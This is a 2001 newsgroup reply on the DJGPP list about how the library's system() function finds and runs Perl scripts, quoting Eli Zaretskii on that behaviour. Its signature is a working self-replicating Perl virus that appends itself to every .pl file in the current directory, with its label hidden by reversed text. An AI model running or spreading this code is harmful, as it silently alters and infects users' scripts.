From: rpolzer AT web DOT de (Rudolf Polzer) Newsgroups: comp.os.msdos.djgpp Subject: Re: Penalty for immature language (PERL/BASH) References: <2110-Sun04Mar2001181824+0200-eliz AT is DOT elta DOT co DOT il> X-newsgroup: comp.os.msdos.djgpp X-Mailer: GehtDichNenScheissdreckAn 1.0 User-Agent: GehtDichNenScheissdreckAn 1.0 Message-ID: User-Agent: slrn/0.9.6.2 (Linux) Date: Sun, 4 Mar 2001 20:38:31 +0100 Lines: 44 NNTP-Posting-Host: 213.7.26.89 X-Trace: 983734278 news.freenet.de 19273 213.7.26.89 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com Eli Zaretskii schrieb Folgendes: > > Newsgroups: comp.os.msdos.djgpp > > Date: Sun, 4 Mar 2001 14:58:15 +0000 (GMT) > > From: Daniel Barker > > > > I still have a small question. Neither BASH nor COMMAND.COM will run > > poo.pl if I just enter the command poo (without extension). I expect > > this. In BASH, I do not have . (current directory) in my PATH, and > > COMMAND.COM does not regard .pl files as executable. So why is PERL even > > trying to arrange execution of the file poo.pl? > > I don't know Perl well enough to answer that. My guess would be that > Perl simply calls the library function `system' (or maybe `popen', > which calls `system' internally) asking it to run `poo'. `system' > looks and finds `poo.pl', but support for .pl scripts assumes that the > first line of the script says what program should be invoked to run > this script; `poo.pl' violates that assumption. > > I don't know what `poo.pl' was supposed to do, or how did you arrive > at a program which ended up invoking it, but it sounds like a result > of a rare coincidence together with a couple of subtle and > hard-to-solve problems which have to do with running arbitrary > programs on DOS/Windows. On balance, Perl should have been more > cautious; it could, for example, check if the file is executable > before invoking it. > > The next version of the DJGPP library changes the way `system' handles > such files, because the current behavior is a bit unsafe, as you > learned from this example. The modified `system' will not find > `poo.pl' unless you actually mention the .pl extension. But I imagine > even the new code will crash if you say `poo.pl` in a Perl program, > and `poo.pl' doesn't have the "#!/usr/local/perl" on its first line. So system() does not use the COMMAND.COM functionalities to execute a program but searches itself to emulate Unix behaviour, but does not use file extensions? So system() can call exe files with another extension (.xxy for example)? MZ at the beginning and it is treated as .EXE? Interesting... -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################